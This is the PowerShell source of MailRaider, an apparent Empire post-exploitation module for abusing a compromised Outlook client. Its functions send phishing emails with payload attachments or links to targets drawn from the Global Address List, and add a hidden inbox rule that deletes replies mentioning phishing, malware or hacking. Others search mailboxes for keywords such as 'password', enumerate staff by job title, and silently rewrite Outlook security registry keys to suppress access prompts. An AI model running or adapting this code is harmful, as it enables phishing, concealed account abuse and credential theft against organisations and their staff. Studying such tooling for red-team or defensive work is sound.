Empire/data/module_source/management/MailRaider.ps1

1271 lines
34 KiB
PowerShell

#requires -version 2
<#
MailRaider v0.1
by @xorrior
#>
function Invoke-SendMail {
<#
.SYNOPSIS
This function sends emails using a custom or default template to specified target email addresses.
.DESCRIPTION
This function sends a specified number of phishing emails to a specific email address or a target list. A payload or URL can be included in the email. The E-Mail will be constructed based on a
template or by specifying the Subject and Body of the email.
.PARAMETER Targets
Array of target email addresses. If Targets or TargetList parameter are not specified, a list of 100 email addresses will be randomly selected from the Global Address List.
.PARAMETER TargetList
List of email addresses read from a file. If Targets or TargetList parameter are not specified, a list of 100 email addresses will be randomly selected from the Global Address List.
.PARAMETER URL
URL to include in the email
.PARAMETER Attachment
Full path to the file to use as a payload
.PARAMETER Template
Full path to the template html file
.PARAMETER Subject
Subject of the email
.PARAMETER Body
Body of the email
.EXAMPLE
Invoke-SendMail -Targets $Emails -URL "http://bigorg.com/projections.xls" -Subject "Hi" -Body "Please check this <a href='URL'>link</a> out!"
Send phishing email to the array of target email addresses with an embedded url.
.EXAMPLE
Invoke-SendMail -TargetList .\Targets.txt -Attachment .\Notice.rtf -Template .\Phish.html
Send phishing email to the list of addresses from file and include the specified attachment.
#>
[CmdletBinding()]
param(
[Parameter(Mandatory = $False, Position = 0, ValueFromPipeline = $True)]
[string[]]$Targets,
[Parameter(Mandatory = $False, Position = 1)]
[string]$TargetList,
[Parameter(Mandatory = $False, Position = 2)]
[string]$URL,
[Parameter(Mandatory = $False, Position = 3)]
[string]$Attachment,
[Parameter(Mandatory = $False, Position = 4)]
[String]$Template,
[Parameter(Mandatory = $False, Position = 5)]
[string]$Subject,
[Parameter(Mandatory = $False, Position = 6)]
[String]$Body
)
#check for a target list file or the targets parameter
if($TargetList){
if(!(Test-Path $TargetList)){
Throw "Not a valid file path for E-Mail TargetList"
}
$TargetEmails = Get-Content $TargetList
}
elseif($Targets){
$TargetEmails = $Targets
}
#check if a template is being used
if($Template){
if(!(Test-Path $Template)){
Throw "Not a valid file path for E-mail template"
}
$EmailBody = Get-Content -Path $Template
$EmailSubject = $Subject
}
elseif($Subject -and $Body){
$EmailSubject = $Subject
$EmailBody = $Body
}
else {
Throw "No email Subject and/or Body specified"
}
#Check for a url to embed
if($URL){
$EmailBody = $EmailBody.Replace("URL",$URL)
}
#Read the Outlook signature locally if available
$appdatapath = $env:appdata
$sigpath = $appdatapath + "\Microsoft\Signatures\*.htm"
if(Test-Path $sigpath){
$Signature = Get-Content -Path $sigpath
}
#Create Outlook rule to automatically sends emails pertaining to phishing emails to deleted items folder
Invoke-Rule -Subject $Subject -RuleName "RaiderIn"
#Iterate through the list, craft the emails, and then send it off.
ForEach($Target in $TargetEmails){
$Outlook = Get-OutlookInstance
$Email = $Outlook.CreateItem(0)
#If there was an attachment, include it with the email
if($Attachment){
$($Email.Attachment).Add($Attachment)
}
$Email.HTMLBody = "$EmailBody"
$Email.Subject = $EmailSubject
$Email.To = $Target
#if there is a signature, add it to the email
if($Signature){
$Email.HTMLBody += "`n`n" + "$Signature"
}
$Email.Send()
Write-Verbose "Sent Email to $Target"
[System.Runtime.Interopservices.Marshal]::ReleaseComObject($Outlook) | Out-Null
}
}
function Invoke-Rule {
<#
.SYNOPSIS
This function enables an Outlook rule where all received mail items, that match the specified subject flags, will be sent to the deleted items folder
.DESCRIPTION
This function takes the subject string and other flagged words and applies them to a received items Outlook rule. Any items that match this rule will be
sent to the deleted items folder. This allows for the account to be used in phishing for a longer period of time without detection.
.PARAMETER Subject
The subject string to use in the rule
.LINK
https://social.technet.microsoft.com/forums/windowsserver/en-US/6b25cbd2-2bff-4820-ab53-796e306066eb/defining-custom-outlook-rules-using-powershell
#>
[CmdletBinding()]
param(
[Parameter(Mandatory = $False, Position = 0)]
[string]$Subject,
[Parameter(Mandatory = $False, Position = 1)]
[string]$RuleName,
[Parameter(Mandatory = $False, Position = 2)]
[System.__ComObject]$Outlook,
[Parameter(Mandatory = $False)]
[switch]$Disable
)
$flags = @()
$flags = $Subject.Split(" ")
$flags += "hacked"
$flags += "malware"
$flags += "phishing"
$flags += "virus"
If(!($Outlook)){
$Outlook = Get-OutlookInstance
$MAPI = $Outlook.GetNamespace('MAPI')
}
if($Disable){
$rule = ($($Outlook.session).DefaultStore).GetRules() | Where-Object {$_.Name -eq $RuleName}
$rule.enabled = $False
}
else{
#Check if the Rule has already been created
$rule = ($($Outlook.session).DefaultStore).GetRules() | Where-Object {(!(Compare-Object $($_.Conditions.Subject).Text $flags))}
if(!($rule)){
#Load the assembly for Outlook objects
Add-Type -AssemblyName Microsoft.Office.Interop.Outlook | Out-Null
#$MAPI = $Outlook.GetNamespace('MAPI')
$inbox = Get-OutlookFolder -Name "Inbox"
$DeletedFolder = Get-OutlookFolder -Name "DeletedItems"
#Retrieve all Outlook rules
$rules = $MAPI.DefaultStore.GetRules()
$rule = $rules.create($RuleName, [Microsoft.Office.Interop.Outlook.OlRuleType]::OlRuleReceive)
$SubText = $rule.Conditions.Subject
$SubText.Enabled = $true
#Set the matching strings in the email subject to our flags array
$SubText.Text = $flags
$action = $rule.Actions.MoveToFolder
$action.enabled = $true
[Microsoft.Office.Interop.Outlook._MoveOrCopyRuleAction].InvokeMember(
"Folder",
[System.Reflection.BindingFlags]::SetProperty,
$null,
$action,
$DeletedFolder)
#Save and enable the rule
try {
$rules.Save()
Write-Verbose "Saved Outlook Rule with name: $Rulename"
}
catch {
Write-Warning "Unable to save inbound rule with name: $RuleName"
}
}
}
[System.Runtime.Interopservices.Marshal]::ReleaseComObject($Outlook) | Out-Null
}
function Get-OSVersion {
<#
.SYNOPSIS
Determines the Operating System version of the host
.Example
Check-OSVersion
#>
#function to grab the major and minor verions to determine the OS.
Write-Verbose "Detecting OS..."
$OS = [environment]::OSVersion.Version
if($OS.Major -eq 10){
$OSVersion = "Windows 10"
}
#if the major version is 6, the OS can be from Vista to Windows 8.1
if($OS.Major -eq 6){
switch ($OS.Minor){
3 {$OSVersion = "Windows 8.1/Server 2012 R2"}
2 {$OSVersion = "Windows 8/Server 2012"}
1 {$OSVersion = "Windows 7/Server 2008 R2"}
0 {$OSVersion = "Windows Vista/Server 2008"}
}
}
if($OS.Major -eq 5){
switch ($OS.Minor){
2 {$OSVersion = "Windows XP/Server 2003 R2"}
1 {$OSVersion = "Windows XP"}
0 {$OSVersion = "Windows 2000"}
}
}
Write-Verbose "Checking the bitness of the OS"
if((Get-WmiObject -class win32_operatingsystem).OSArchitecture -eq "64-bit"){
$OSArch = 64
}
else{
$OSArch = 32
}
$OSVersion
$OSArch
}
function Select-EmailItem {
<#
.SYNOPSIS
This function selects an Email Item according to an index and displays it
.PARAMETER Index
The index of the Email item to display. Defaults to 0.
.EXAMPLE
Select-EmailItem -Index 5
Display Email Item 5 in the current folder.
#>
[CmdletBinding()]
param(
[Parameter(Mandatory = $False, ValueFromPipeline = $True)]
[System.__ComObject]$FolderObj,
[Parameter(Mandatory = $True)]
[int]$Num
)
$EmailItem = $FolderObj.Items | Select-Object -Index $Num
$EmailItem | Select-Object To,SenderName,SenderEmailAddress,Subject,Body,SentOn,ReceivedTime
}
function View-Email {
<#
.SYNOPSIS
This function selects the specified folder and then outputs the email item at the specified index
.PARAMETER FolderName
The Name of the Outlook Default Folder.
.PARAMETER Index
Index of the Email item within the selected folder to display. The index default is 0.
.EXAMPLE
View-Email -FolderName "Inbox"
Select the olFolderInbox folder and view the first email.
#>
[CmdletBinding()]
param(
[Parameter(Mandatory = $True, Position = 0)]
[string]$FolderName,
[Parameter(Mandatory = $False, Position = 1)]
[int]$Index = 0
)
$OF = Get-OutlookFolder -Name $FolderName
Select-EmailItem -FolderObj $OF -Num $Index
}
function Get-OutlookFolder {
<#
.SYNOPSIS
This functions returns one of the Outlook top-level, default folders
.PARAMETER Name
Name of the desired folder. Default name is Inbox.
.EXAMPLE
Get-OutlookFolder -Name "Inbox"
#>
[CmdletBinding()]
param(
[Parameter(Mandatory = $True, Position = 0)]
[String]$Name
)
$OlDefaultFolders = @{
"olFolderCalendar" = 9
"olFolderConflicts" = 19
"olFolderContacts" = 10
"olFolderDeletedItems" = 3
"olFolderDrafts" = 16
"olFolderInbox" = 6
"olFolderJournal" = 11
"olFolderJunk" = 23
"olFolderLocalFailures" = 21
"olFolderManageEmail" = 29
"olFolderNotes" = 12
"olFolderOutbox" = 4
"olFolderSentMail" = 5
"olFolderServerFailures" = 22
"olFolderSuggestedContacts" = 30
"olFolderSyncIssues" = 20
"olFolderTasks" = 13
"olFolderToDo" = 28
"olPublicFoldersAllPublicFolders" = 18
"olFolderRssFeeds" = 25
}
$DefaultFolderName = "olFolder$Name"
$Value = $OlDefaultFolders.Item($DefaultFolderName)
$Outlook = Get-OutlookInstance
$MAPI = $Outlook.GetNamespace('MAPI')
$FolderObj = $MAPI.GetDefaultFolder($Value)
Write-Verbose "Obtained Folder Object"
[System.Runtime.Interopservices.Marshal]::ReleaseComObject($Outlook) | Out-Null
$FolderObj
}
function Get-EmailItems {
<#
.SYNOPSIS
This function returns all of the items for the specified folder
.PARAMETER Folder
System.__ComObject for the Top Level folder
.PARAMETER MaxEmails
Maximum number of emails to grab
.PARAMETER Full
Return the Full mail item object
.EXAMPLE
Get-EmailItems -Folder $Inbox
#>
[CmdletBinding()]
param(
[Parameter(Mandatory = $True, Position = 0, ValueFromPipeline = $True)]
[System.__ComObject]$Folder,
[Parameter(Mandatory = $False, Position = 1)]
[int]$MaxEmails,
[Parameter(Mandatory = $False)]
[switch]$FullObject
)
if($MaxEmails){
Write-Verbose "Selecting the first $MaxEmails emails"
$Items = $Folder.Items | Select-Object -First $MaxEmails
}
else{
Write-Verbose "Selecting all emails"
$Items = $Folder.Items
}
if(!($FullObject)){
$Emails = @()
Write-Verbose "Creating custom Email item objects..."
$Items | ForEach {
$Email = New-Object PSObject -Property @{
To = $_.To
FromName = $_.SenderName
FromAddress = $_.SenderEmailAddress
Subject = $_.Subject
Body = $_.Body
TimeSent = $_.SentOn
TimeReceived = $_.ReceivedTime
}
$Emails += $Email
$Emails = $Emails | Sort-Object -Property TimeSent -Descending
}
}
else{
Write-Verbose "Obtained full Email Item objects...."
$Emails = $Items | Sort-Object -Property SentOn -Descending
}
$Emails
}
function Invoke-MailSearch {
<#
.SYNOPSIS
This function searches the given Outlook folder for items (Emails, Contacts, Tasks, Notes, etc. *Depending on the folder*) and returns
any matches found.
.DESCRIPTION
This function searches the given Outlook folder for items containing the specified keywords and returns any matches found.
.PARAMETER DefaultFolder
Folder to search in. Default is the Inbox.
.PARAMETER Keywords
Keyword/s to search for.
.PARAMETER MaxResults
Maximum number of results to return.
.PARAMETER MaxSearch
Maximum number of emails to search through
.PARAMETER MaxThreads
Maximum number of threads to use when searching
.PARAMETER File
Path to results file
.EXAMPLE
Invoke-MailSearch -Keyword "password" -MaxResults 20 -MaxThreads 30
Conduct a search on the Inbox with admin and password specified as keywords. Return a maximum of 20 results.
#>
[CmdletBinding()]
param(
[Parameter(Mandatory = $True)]
[string]$DefaultFolder,
[Parameter(Mandatory = $True)]
[string[]]$Keywords,
[Parameter(Mandatory = $False)]
[int]$MaxResults,
[Parameter(Mandatory = $True)]
[int]$MaxThreads = 15,
[Parameter(Mandatory = $False)]
[int]$MaxSearch,
[Parameter(Mandatory = $False)]
[string]$File
)
#Variable to hold the results
$ResultsList = @()
$SearchEmailBlock = {
param($Regex, $MailItem)
$Subject = $MailItem.Subject
$Body = $MailItem.Body
if(($($Regex.Match($Subject)).Success) -or ($($Regex.Match($Body)).Success)){
$MailItem
}
}
$OF = Get-OutlookFolder -Name $DefaultFolder
if($MaxSearch){
$Emails = Get-EmailItems -Folder $OF -FullObject -MaxEmails $MaxSearch
}
else {
$Emails = Get-EmailItems -Folder $OF -FullObject
}
#Create regex for keywords
if($Keywords.Count -gt 1){
$count = $Keywords.Count - 2
for($i = 0; $i -lt $count; $i++){
$Keywords[$i] += "|"
}
[string]$Keywords = $Keywords -join ''
$Keywords = "\b($Keywords)\b"
}
else {
$Keywords = "\b($Keywords)\b"
}
$Regex = [regex]$Keywords
Write-Verbose "[*] Searching through $($Emails.count) emails....."
#All of this multithreading magic is taken directly from harmj0y and his child, powerview
#https://github.com/PowerShellEmpire/PowerTools/blob/master/PowerView/powerview.ps1#L5672
$sessionState = [System.Management.Automation.Runspaces.InitialSessionState]::CreateDefault()
$sessionState.ApartmentState = [System.Threading.Thread]::CurrentThread.GetApartmentState()
#Get all the current variables for this runspace
$MyVars = Get-Variable -Scope 1
$VorbiddenVars = @("?","args","ConsoleFileName","Error","ExecutionContext","false","HOME","Host","input","InputObject","MaximumAliasCount","MaximumDriveCount","MaximumErrorCount","MaximumfunctionCount","MaximumHistoryCount","MaximumVariableCount","MyInvocation","null","PID","PSBoundParameters","PSCommandPath","PSCulture","PSDefaultParameterValues","PSHOME","PSScriptRoot","PSUICulture","PSVersionTable","PWD","ShellId","SynchronizedHash","true")
#Add the variables from the current runspace to the new runspace
ForEach($Var in $MyVars){
if($VorbiddenVars -notcontains $Var.Name){
$sessionState.Variables.Add((New-Object -Typename System.Management.Automation.Runspaces.SessionStateVariableEntry -ArgumentList $Var.name,$Var.Value,$Var.description,$Var.options,$Var.attributes))
}
}
Write-Verbose "Creating RunSpace Pool"
$pool = [runspacefactory]::CreateRunspacePool(1, $MaxThreads, $sessionState, $host)
$pool.Open()
$jobs = @()
$ps = @()
$wait = @()
$counter = 0
$MsgCount = 1
ForEach($Msg in $Emails){
Write-Verbose "Searching Email # $MsgCount/$($Emails.count)"
while ($($pool.GetAvailableRunSpaces()) -le 0){
Start-Sleep -Milliseconds 500
}
$ps += [powershell]::create()
$ps[$counter].runspacepool = $pool
[void]$ps[$counter].AddScript($SearchEmailBlock).AddParameter('Regex', $Regex).AddParameter('MailItem', $Msg)
$jobs += $ps[$counter].BeginInvoke();
$wait += $jobs[$counter].AsyncWaitHandle
$counter = $counter + 1
$MsgCount = $MsgCount + 1
}
$waitTimeout = Get-Date
while ($($jobs | ? {$_.IsCompleted -eq $false}).count -gt 0 -or $($($(Get-Date) - $waitTimeout).totalSeconds) -gt 60) {
Start-Sleep -Milliseconds 500
}
for ($x = 0; $x -lt $counter; $x++){
try {
$result = $ps[$x].EndInvoke($jobs[$x])
if($result){
$ResultsList += $result
}
}
catch {
Write-Warning "error: $_"
}
finally {
$ps[$x].Dispose()
}
}
$pool.Dispose()
If($MaxResults){
$ResultsList = $ResultsList | Select-Object -First $MaxResults
}
If($File){
$ResultsList | Select-Object SenderName,SenderEmailAddress,ReceivedTime,To,Subject,Body | Out-File $File
}
else {
$ResultsList | Select-Object SenderName,SenderEmailAddress,ReceivedTime,To,Subject,Body
}
}
function Get-SubFolders {
<#
.SYNOPSIS
This function returns a list of all the folders in the specified top level folder.
.PARAMETER DefaultFolder
Name of the top-level folder to retrieve a list of folders from.
.PARAMETER FullObject
Return the full folder object instead of just the name
.EXAMPLE
Get-SubFolders -FolderName "SentMail"
Get a list of folders and sub-folders from the sentmail box.
#>
[CmdletBinding()]
param(
[parameter(Mandatory = $False, Position = 0)]
[string]$DefaultFolder,
[parameter(Mandatory = $False)]
[switch]$FullObject
)
$SubFolders = (Get-OutlookFolder -Name $DefaultFolder).Folders
If(!($SubFolders)){
Throw "No subfolders were found for folder: $($Folder.Name)"
}
if(!($FullObject)){
$SubFolders = $SubFolders | ForEach {$_.Name}
}
$SubFolders
}
function Get-GlobalAddressList {
<#
.SYNOPSIS
This function returns an array of Contact objects from a Global Address List object.
.PARAMETER Outlook
The MAPI namespace object for Outlook
.EXAMPLE
Get-GlobalAddressList -MAPI $MAPI
Return the GAL for the MAPI namespace
#>
[CmdletBinding()]
param(
[Parameter(Mandatory = $False)]
[System.__ComObject]$MAPI
)
if(!($MAPI)){
$Outlook = Get-OutlookInstance
$MAPI = $Outlook.GetNamespace('MAPI')
}
$GAL = $MAPI.GetGlobalAddressList()
$GAL = $GAL.AddressEntries
$GAL
}
function Invoke-SearchGAL {
<#
.SYNOPSIS
This function returns any users that match the exchange criteria specified.
.DESCRIPTION
This fuction returns any exchange users that match the specified search criteria. Searchable fields are FirstName, LastName, JobTitle, Email-Address, and Department
.PARAMETER FullName
Full Name to search for
.PARAMETER JobTitle
Job Title to search for
.PARAMETER Email
E-Mail Address to search for
.PARAMETER Dept
Department to search for
.PARAMETER MaxThreads
The maximum number of threads to use when searching. The default is set to 15.
.EXAMPLE
Invoke-SearchGAL -JobTitle "System Administrator" -MaxThreads 30
Search the GAL with 30 threads, for any Exchange Users with the JobTitle "System Administrator".
#>
[CmdletBinding()]
param(
[Parameter(Mandatory = $True, ParameterSetName = "Name", Position = 0)]
[string]$FullName,
[Parameter(Mandatory = $True, ParameterSetName = "JobTitle", Position = 1)]
[string]$JobTitle,
[Parameter(Mandatory = $True, ParameterSetName = "Email", Position = 2)]
[string]$Email,
[Parameter(Mandatory = $True, ParameterSetName = "Department", Position = 3)]
[string]$Dept,
[Parameter(Mandatory = $False, Position = 4)]
[int]$MaxThreads = 15
)
$Outlook = Get-OutlookInstance
$MAPI = $Outlook.GetNamespace("MAPI")
$GAL = Get-GlobalAddressList -MAPI $MAPI
$UserList = @()
ForEach($Entry in $GAL){
$UserList += $Entry.GetExchangeUser()
}
$GAL = $UserList
#$User = $GAL | Where-Object {($($_.GetExchangeUser()).FirstName -eq $FirstName) -and ($($_.GetExchangeUser()).LastName -eq $LastName)}
$SearchScript = {
param($Regex,$Type,$User)
if($Regex.Match($($User.$Type)).Success){
$User
}
}
if($PSCmdlet.ParameterSetName -eq "Name"){
$Type = "Name"
$Term = $FullName
}
elseif($PSCmdlet.ParameterSetName -eq "JobTitle"){
$Type = "JobTitle"
$Term = $JobTitle
}
elseif($PSCmdlet.ParameterSetName -eq "Email"){
$Type = "PrimarySMTPAddress"
$Term = $Email
}
else {
$Type = "Department"
$Term = $Dept
}
$Regex = [regex]"\b($Term)\b"
#All of this multithreading magic is taken directly from harmj0y and his child, powerview
#https://github.com/PowerShellEmpire/PowerTools/blob/master/PowerView/powerview.ps1#L5672
$sessionState = [System.Management.Automation.Runspaces.InitialSessionState]::CreateDefault()
$sessionState.ApartmentState = [System.Threading.Thread]::CurrentThread.GetApartmentState()
#Get all the current variables for this runspace
$MyVars = Get-Variable -Scope 1
$VorbiddenVars = @("?","args","ConsoleFileName","Error","ExecutionContext","false","HOME","Host","input","InputObject","MaximumAliasCount","MaximumDriveCount","MaximumErrorCount","MaximumfunctionCount","MaximumHistoryCount","MaximumVariableCount","MyInvocation","null","PID","PSBoundParameters","PSCommandPath","PSCulture","PSDefaultParameterValues","PSHOME","PSScriptRoot","PSUICulture","PSVersionTable","PWD","ShellId","SynchronizedHash","true")
#Add the variables from the current runspace to the new runspace
ForEach($Var in $MyVars){
if($VorbiddenVars -notcontains $Var.Name){
$sessionState.Variables.Add((New-Object -Typename System.Management.Automation.Runspaces.SessionStateVariableEntry -ArgumentList $Var.name,$Var.Value,$Var.description,$Var.options,$Var.attributes))
}
}
Write-Verbose "Creating RunSpace Pool"
$pool = [runspacefactory]::CreateRunspacePool(1, $MaxThreads, $sessionState, $host)
$pool.Open()
$jobs = @()
$ps = @()
$wait = @()
$counter = 0
$AddressCount = 1
Write-Verbose "The SearchString is $Term"
ForEach($User in $GAL){
Write-Verbose "Searching the through ($AddressCount/$($GAL.Count) address entries...."
while ($($pool.GetAvailableRunSpaces()) -le 0){
Start-Sleep -Milliseconds 500
}
$ps += [powershell]::create()
$ps[$counter].runspacepool = $pool
#Write-Verbose "Adding $SearchScript"
[void]$ps[$counter].AddScript($SearchScript).AddParameter('Regex', $Regex).AddParameter('Type',$Type).AddParameter('User', $User)
$jobs += $ps[$counter].BeginInvoke();
$wait += $jobs[$counter].AsyncWaitHandle
$counter = $counter + 1
$AddressCount = $AddressCount + 1
}
$waitTimeout = Get-Date
while ($($jobs | ? {$_.IsCompleted -eq $false}).count -gt 0 -or $($($(Get-Date) - $waitTimeout).totalSeconds) -gt 60) {
Start-Sleep -Milliseconds 500
}
for ($x = 0; $x -lt $counter; $x++){
try {
$result = $ps[$x].EndInvoke($jobs[$x])
if($result){
$ResultsList += $result
}
}
catch {
Write-Warning "error: $_"
}
finally {
$ps[$x].Dispose()
}
}
$pool.Dispose()
$ResultsList
[System.Runtime.Interopservices.Marshal]::ReleaseComObject($Outlook) | Out-Null
}
function Get-SMTPAddress {
<#
.SYNOPSIS
Gets the PrimarySMTPAddress of a user.
.DESCRIPTION
This function returns the PrimarySMTPAddress of a user via the ExchangeUser object.
.PARAMETER FullName
First and Last name of the user separated by a space.
.OUTPUTS
System.String . Primary email address of the user.
#>
[CmdletBinding()]
Param(
[Parameter(Mandatory = $False, Position = 0, ValueFromPipeline = $True)]
[string[]]$FullNames
)
$Outlook = Get-OutlookInstance
$MAPI = $Outlook.GetNamespace('MAPI')
#Grab the GAL
$GAL = Get-GlobalAddressList -MAPI $MAPI
#If the full name is given, try to obtain the exchange user object
$PrimarySMTPAddresses = @()
If($FullNames){
ForEach($Name in $FullNames){
try{
$regex = [regex]"\b($Name)\b"
$User = $GAL | Where-Object {$_.Name -Match $regex}
}
catch {
Write-Warning "Unable to obtain exchange user object with the name: $Name"
}
$PrimarySMTPAddresses += $($User.GetExchangeuser()).PrimarySMTPAddress
}
}
else {
try {
$($($($Outlook.Session).CurrentUser).AddressEntry).GetExchangeUser().PrimarySMTPAddress
}
catch {
Throw "Unable to obtain PrimarySMTPAddress for the current user"
}
}
[System.Runtime.Interopservices.Marshal]::ReleaseComObject($Outlook) | Out-Null
$PrimarySMTPAddresses
}
function Disable-SecuritySettings {
<#
.SYNOPSIS
This function checks for the existence of the Outlook security registry keys ObjectModelGuard, PromptOOMSend, and AdminSecurityMode. If
the keys exist, overwrite with the appropriate values to disable to security prompt for programmatic access.
.DESCRIPTION
This function checks for the ObjectModelGuard, PromptOOMSend, and AdminSecurityMode registry keys for Outlook security. This function must be
run in an administrative context in order to set the values for the registry keys.
.PARAMETER Version
The version of microsoft outlook. This is pertinent to the location of the registry keys.
.EXAMPLE
Disable-SecuritySettings -Version 15
#>
[CmdletBinding()]
param(
[Parameter(Mandatory = $False)]
[string]$AdminUser,
[Parameter(Mandatory = $False)]
[string]$AdminPassword,
[parameter(Mandatory = $True)]
[string]$Version
)
$count = 0
#Check AV to see if it's up to date.
$AV = Get-WmiObject -namespace root\SecurityCenter2 -class Antivirusproduct
if($AV){
$AVstate = $AV.productState
$statuscode = '{0:X6}' -f $AVstate
$wscupdated = $statuscode[4,5] -join '' -as [byte]
if($wscupdated -eq (00 -as [byte]))
{
Write-Verbose "AV is up to date"
$AVUpdated = $True
}
elseif($wscupdated -eq (10 -as [byte])){
Write-Verbose "AV is not up to date"
$AVUpdated = $False
}
else{
Write-Verbose "Unable to determine AV status"
$AVUpdated = $False
}
}
else{
Write-Verbose "AV not installed"
$AVUpdated = $False
}
$LMSecurityKey = "HKLM:\SOFTWARE\Microsoft\Office\$Version\outlook\Security"
$CUSecurityKey = "HKCU:\SOFTWARE\Policies\Microsoft\Office\$Version\outlook\security"
$ObjectModelGuard = "ObjectModelGuard"
$PromptOOMSend = "PromptOOMSend"
$AdminSecurityMode = "AdminSecurityMode"
$cmd = " "
if(!(Test-Path $LMSecurityKey)){
#if the key does not exists, create or update the appropriate reg keys values.
$cmd = "New-Item $LMSecurityKey -Force; "
$cmd += "New-ItemProperty $LMSecurityKey -Name ObjectModelGuard -Value 2 -PropertyType DWORD -Force; "
}
else{
$currentValue = (Get-ItemProperty $LMSecurityKey -Name ObjectModelGuard -ErrorAction SilentlyContinue).ObjectModelGuard
if($currentValue -and ($currentValue -ne 2)){
$cmd = "Set-ItemProperty $LMSecurityKey -Name ObjectModelGuard -Value 2 -Force; "
}
elseif(!($currentValue)) {
$cmd = "New-ItemProperty $LMSecurityKey -Name ObjectModelGuard -Value 2 -PropertyType DWORD -Force; "
}
}
if(!(Test-Path $CUSecurityKey)){
$cmd += "New-Item $CUSecurityKey -Force; "
$cmd += "New-ItemProperty $CUSecurityKey -Name PromptOOMSend -Value 2 -PropertyType DWORD -Force; "
$cmd += "New-ItemProperty $CUSecurityKey -Name AdminSecurityMode -Value 3 -PropertyType DWORD -Force; "
}
else{
$currentValue = (Get-ItemProperty $CUSecurityKey -Name PromptOOMSend -ErrorAction SilentlyContinue).PromptOOMSend
if($currentValue -and ($currentValue -ne 2)){
$cmd += "Set-ItemProperty $CUSecurityKey -Name PromptOOMSend -Value 2 -Force; "
}
elseif(!($currentValue)) {
$cmd += "New-ItemProperty $CUSecurityKey -Name PromptOOMSend -Value 2 -PropertyType DWORD -Force; "
}
$currentValue = (Get-ItemProperty $CUSecurityKey -Name AdminSecurityMode -ErrorAction SilentlyContinue).AdminSecurityMode
if($currentValue -and ($currentValue -ne 3)){
$cmd += "Set-ItemProperty $CUSecurityKey -Name AdminSecurityMode -Value 3 -Force"
}
elseif(!($currentValue)) {
$cmd += "New-ItemProperty $CUSecurityKey -Name AdminSecurityMode -Value 3 -PropertyType DWORD -Force"
}
}
if($AdminUser -and $AdminPassword){
#If creds are given start a new powershell process and run the commands. Unable to use the Credential parameter with
$pw = ConvertTo-SecureString $AdminPassword -asplaintext -Force
$creds = New-Object -Typename System.Management.Automation.PSCredential -argumentlist $AdminUser,$pw
$WD = 'C:\Windows\SysWOW64\WindowsPowerShell\v1.0\'
$Arg = " -WindowStyle hidden -Command $cmd"
Start-Process "powershell.exe" -WorkingDirectory $WD -Credential $creds -ArgumentList $Arg
$count += 1
}
else{
#Start-Process powershell.exe -WindowStyle hidden -ArgumentList $cmd
if($cmd){
try {
Invoke-Expression $cmd
}
catch {
Throw "Unable to change registry settings to disable security prompt"
}
}
$count += 1
}
if($count -eq 1){
Write-Verbose "Success"
}
elseif($count -eq 0){
Write-Verbose "Disable-SecuritySettings Failed"
}
}
#Under-Construction
function Reset-SecuritySettings {
<#
.SYNOPSIS
This function resets all of the registry keys to their original state
.PARAMETER AdminUser
Administrative user
.PARAMETER AdminPass
Password of administrative user
.EXAMPLE
Reset-SecuritySettings
#>
[CmdletBinding()]
param(
[Parameter(Mandatory = $False)]
[string]$AdminUser,
[Parameter(Mandatory = $False)]
[string]$AdminPass,
[Parameter(Mandatory = $True)]
[string]$Version
)
$LMSecurityKey = "HKLM:\SOFTWARE\Microsoft\Office\$Version\Outlook\Security"
$CUSecurityKey = "HKCU:\SOFTWARE\Policies\Microsoft\Office\$Version\outlook\security"
#if the old value exists, that means the registry key was set and not created.
if(Test-Path $LMSecurityKey){
#If the key exists, remove it.
$cmd = "Remove-ItemProperty -Path $LMSecurityKey -Name ObjectModelGuard -Force;"
}
if(Test-Path $CUSecurityKey){
$cmd += "Remove-ItemProperty -Path $CUSecurityKey -Name PromptOOMSend -Force;"
$cmd += "Remove-ItemProperty -Path $CUSecurityKey -Name AdminSecurityMode -Force"
}
if($AdminUser -and $AdminPass){
$pw = ConvertTo-SecureString $AdminPass -asplaintext -Force
$creds = New-Object -Typename System.Management.Automation.PSCredential -argumentlist $AdminUser,$pw
$WD = 'C:\Windows\SysWOW64\WindowsPowerShell\v1.0\'
$Arg = " -WindowStyle hidden -Command $cmd"
Start-Process powershell.exe -WorkingDirectory $WD -Credential $creds -ArgumentList $Arg
}
else {
try {
Invoke-Expression $cmd
}
catch {
Throw "Unable to reset registry keys"
}
}
}
function Get-OutlookInstance {
<#
.SYNOPSIS
Get an instance of Outlook. This function must be executed in the same user context of the Outlook application.
.EXAMPLE
Get-OutlookInstance
Get an instance of Outlook
#>
try {
$Outlook = New-Object -ComObject "Outlook.Application"
}
catch {
Throw "Unable to open Outlook ComObject"
}
$Outlook
}